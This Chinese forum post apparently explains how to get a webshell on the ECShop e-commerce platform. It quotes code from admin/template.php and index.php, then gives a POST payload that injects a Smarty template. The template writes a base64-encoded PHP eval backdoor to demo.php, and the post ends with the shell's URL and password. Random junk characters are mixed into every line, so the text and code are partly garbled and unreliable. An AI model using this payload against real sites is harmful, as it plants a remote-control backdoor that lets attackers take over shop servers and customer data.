首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板3 o: |) k. c* g
$ I5 n& k' i& K( Q; ^: ~6 c- s$ Q
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
$ t8 D7 Y" O- O" X9 { H1 {# y, a但是ecshop似乎不支持{php}{/php}这个标签来执行php代码1 X a2 ]' ?$ c
admin/template.php& [1 |8 O4 I5 n2 e1 |: |( ]; r m4 P
- n$ p4 m; r, |/ q* R1 if ($_REQUEST['act'] == 'update_library')
7 h6 T) H7 f4 O. B( R _- z& F7 e( C D
2
( }! }% q" X4 u+ x9 t9 P" e. ?& X( s+ ^" D
3 {
9 z7 b" ~$ A" l$ t
2 }+ e+ [/ z4 r4 check_authz_json('library_manage'); 0 W& u, }, G, v. l7 u7 h3 C
6 Y1 C' K: u: G1 }, j" g
5 # T3 ^* k& ^3 _
; g2 _' S( Z4 T1 l1 l6 H
6 $html = stripslashes(json_str_iconv($_POST['html']));
0 ]9 q% x( y- Z. Z! _% k" E0 C# `) W. X9 l
7
& o, U" L) I7 J# c
9 A* O* _# t! Z) N8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ( c# R5 X1 P, J% h, F- f) r
; z% H' D5 }# t! j; J5 I
9
/ K. l4 L' D: \
! q: Z2 T- y& [- f! c10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
6 ]( j- d2 U2 b9 f* y& G' m" v
: h5 q" ?+ x' z' x1 {6 d3 x! a11
: a* E+ u5 d1 c' O4 G, e& ^, G8 O' p1 P/ x2 a
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); * B, p' Z1 \4 o9 Y* c! \; h, h
3 W+ H2 U$ K% v( c9 [4 c
13
; `: B& U3 |8 P0 D1 M4 n* z4 W! R: d8 A' s( P
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 9 |7 j7 L7 G- o! |/ I8 e
! O& d3 Z& y- ~ c# V- f# E15 { $ _7 c' n# m# t" }
, }9 J$ B. B9 L" y% G$ d- r
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); # V, K; S. }& w
. o, b# E) Z8 v5 d/ z3 g" r17 make_json_result('', $_LANG['update_lib_success']); . q& s k5 I% }- o2 X; Y
# j I8 E" T) x
18 }
/ C9 X. o) I; a1 \0 {, H5 e- d
/ |" n$ L7 d8 F4 g19 else $ F0 B3 ~1 d% r0 |' t' g6 a- K& {
; q3 K. L- p. e" Z20 { 8 M* Q" B: @) J9 ^; M) ~4 u
. J: F X8 {) ?$ e# o1 {21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
' N5 \4 v* U$ @" G
9 R$ Q6 F9 @, {! ]+ E# P, G22 } * H0 ?/ e; N0 R- @
& \+ y c7 i- X/ Z4 N* ], K
23 } ) u- u& p& Y' p8 v
7 P9 @) P( K; d
那么找个比较方便调用了模板的文件. X* ?: {" D6 {% m; B# F! E& y
index.php7 ^0 @& W5 J w$ q
8 c8 S5 l0 h. Z4 p( G& L8 H( r8 n+ R
1 if ($act == 'cat_rec')
% L h6 L a0 `* {( v i, p
1 Q# d6 A' D* C1 q* h2 - Y% ]+ ^4 a3 l/ h
) W' }* b2 y9 [9 C4 U3 {
M2 A& f: g+ r; G! l. b) D# \+ v. X! N1 h/ v- Z% j
4
) k' l: v# k6 t6 f `4 L. u5 p" V& E+ V* {
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
5 V# \% N$ N4 O; i Y- Q# m/ ~
& Q$ S- y" H$ j, U# Z8 I6 7 z3 R5 @9 r/ Z* Q+ d" l
8 L- h/ P4 N- C
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; * J+ E+ |4 N& X. D1 [& E5 c
; y3 d' Z4 g( P* _) e
8
3 m( t" O/ {, O$ D$ q) P8 Q- e. `2 U
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 2 X- v, R$ s) {
* p8 F9 J! r! N! ~/ G
10 , p- G5 s1 b8 D
3 o" r) o8 M+ k7 U11 include_once('includes/cls_json.php');
# x1 J7 s2 x; f* r: ?% C% M/ [9 c) y6 g
12
7 r9 E1 _; H$ q
( d$ ?% B" M8 z13 $json = new JSON;
% h* v2 q& e+ g+ f, P9 G0 }) \3 u$ t: L7 \) y4 ^
14 2 ^2 N0 Z0 e! e+ i
0 E1 T6 n& ?& T& _) y15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 7 t2 Z/ }/ d7 _4 A6 t% x( v) Q K0 u2 _
) ]- d1 E0 F) X/ @' B7 w8 s
16 : k; b) w& i& v) ? K
# L* h7 O+ ?' H1 S3 z7 l6 N: t
17 $children = get_children($cat_id);
3 v n1 x5 b3 _5 R3 }: y! ~( L
/ Z! L2 _' _3 j/ T18
/ t8 z0 t) Q6 B
4 j! E0 a1 T% N! I' z- c; V5 J9 {1 K) \19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
! N8 W* Q3 p% D+ L- F. Z; {- L7 J: Y, ~4 [" I
20 2 y+ V7 J, m7 h2 f' k4 f
; f f9 o5 L; m8 J1 V9 U
21 $smarty->assign('cat_rec_sign', 1); 9 f/ k/ Y& Y; ~7 n4 B, d3 g
- Y6 {: S" I$ E6 ~6 N% N22 & ^) j7 Z* F: E A
6 f) f# V6 S A
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best & `; M. K2 m$ Z4 z. y J r6 L! L7 l
8 V/ v' C/ M! A" \24
3 s$ c( j, b. L3 |
9 B, B1 c# I; o3 q; t8 p w25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ) f: H" c$ i2 Z( h
( B O2 x$ N6 l' d9 Z
26 " t1 S! R: h& t3 F- b0 `, x& I5 v
& k9 Q4 N( I: z5 z1 ^' F$ p- L
27 echo $rec_array[$rec_type]; - d; F( T/ P( d3 l: t9 f5 s/ x
2 M. k- k1 i" v0 R! a4 c% \" W. c
28 ! t5 ?6 D+ t1 \0 N, p
3 |' f. C& ^1 b
29 die($json->encode($result));
3 y# O4 ?* G7 X9 D7 i: }8 P! l0 m$ o0 O: s
30
. Y/ @6 O6 j( ]" a) a% }+ C( ^$ o A" S u8 w9 f; a4 h) Y. N
31 }
. s" v, E- V; N( M. E
9 v: S; \( g1 C5 R& T那么就有利用方法了. _+ m3 w, Y3 W3 L1 f2 Y
post包到http://localhost/ec/admin/template.php?act=update_library
7 p3 O# S: ]/ |# u, UPost内容:
3 q {5 A+ q" }" H
5 G3 B$ {- v1 r& r) C( T& o/ X4 i, p) y) {
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} % t1 j' d( M( P6 d; `: V
' f7 A( G+ p$ l0 l' [
然后访问http://localhost/ec/index.php?act=cat_rec, d( d2 l9 p X: T4 M
+ t; H0 j& E, ?5 f$ N
shel地址:http://localhost/ec/demo.php0 c+ I8 q4 w( _; i
密码c
/ P! H: F5 X$ \2 J- T0 w+ h/ {7 i; v& j: c0 |# x( x
|